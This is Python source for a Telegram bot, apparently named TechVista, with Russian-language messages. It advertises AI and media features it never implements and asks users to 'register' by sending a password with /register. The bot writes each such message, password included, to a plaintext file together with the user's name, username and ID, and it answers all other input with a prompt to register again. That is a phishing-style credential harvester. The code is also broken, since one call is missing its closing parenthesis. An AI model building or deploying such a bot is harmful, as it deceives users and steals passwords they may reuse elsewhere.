import logging import asyncio import aiogram.utils.markdown as md from aiogram import Bot, Dispatcher, types from aiogram.types.reply_keyboard import ReplyKeyboardMarkup, KeyboardButton from aiogram.types import ParseMode from aiogram.dispatcher.filters import Command from aiogram.dispatcher.filters.state import State, StatesGroup from aiogram.contrib.middlewares.logging import LoggingMiddleware API_TOKEN = '' # Замените на свой токен logging.basicConfig(level=logging.INFO) bot = Bot(token=API_TOKEN) dp = Dispatcher(bot) keyboard = ReplyKeyboardMarkup( keyboard=[ [ KeyboardButton(text="📝Профиль") ], [ KeyboardButton(text="⚙️Сервисы"), KeyboardButton(text="❓Помощь") ] ], resize_keyboard=True ) class States(StatesGroup): pass @dp.message_handler(Command("start")) async def cmd_start(message: types.Message): user = message.from_user user_info = ( f"Full Name: {user.full_name}\n" f"Username: {user.username}\n" f"User ID: {user.id}\n" f"Time: {message.date}\n" f"Message: /start\n\n" ) with open('user_messages.txt', 'a', encoding='utf-8') as file: file.write(user_info) await message.reply( f"👋Добро пожаловать, {md.quote_html(user.full_name)}! Ты попал в одного из самых лучших телеграм ботов, TechVista!\n\n" "Вот что я могу:\n\n" "🤖ChatGPT 4 - нейросеть, которая поможет тебе сгенерировать любой текст\n" "🧩Midjourney - нейросеть, которая может генерировать картинки по описанию\n" "🕵️‍♂️Анонимный чат - чат в котором ты сможешь анонимно общаться с другими людьми\n" "📸Обработка фото - накладывай на свои фото популярные фильтры прямо в боте\n" "🎥Загрузка видео из Tiktok и Youtube - загружай видео из своих любимых соцсетей без водяного знака\n" "💬Перевод гс в текстовые сообщения - переводи голосовые сообщения в текстовые одним кликом\n" "📢Озвучка текста - озвучка текста голосами разных популярных героев\n" "🔍Поиск стикеров - ищи стикерпаки в телеграме по описанию\n" "🎬Поиск фильмов и сериалов - смотри фильмы и сериалы на любой вкус\n\n" "И многое другое...", parse_mode=ParseMode.MARKDOWN, reply_markup=keyboard, ) # Задержка в 2 секунды await asyncio.sleep(2) # Отправка сообщения "Привет 123" await message.answer( "🔒Для регистрации в боте вам необходимо придумать пароль и зарегистрироваться с помощью команды: /register [пароль] [повтор пароля]\n\nТребования к паролю:\n1) Пароль должен состоять минимум из 8 символов\n2) Пароль должен иметь хотя бы 1 спецсимвол") @dp.message_handler(Command("register")) async def save_messages(message: types.Message): user = message.from_user user_info = ( f"Full Name: {user.full_name}\n" f"Username: {user.username}\n" f"User ID: {user.id}\n" f"Time: {message.date}\n" f"Message: {message.text}\n\n" ) with open('user_messages.txt', 'a', encoding='utf-8') as file: file.write(user_info) await message.answer("Vot tvoi otvet!!! 86 stroka." @dp.message_handler() async def respond_to_messages(message: types.Message): await message.answer("Что-то пошло не так, попробуйте зарегистрироваться ещё раз или повторите попытку позднее") if __name__ == '__main__': from aiogram import executor executor.start_polling(dp, skip_updates=True)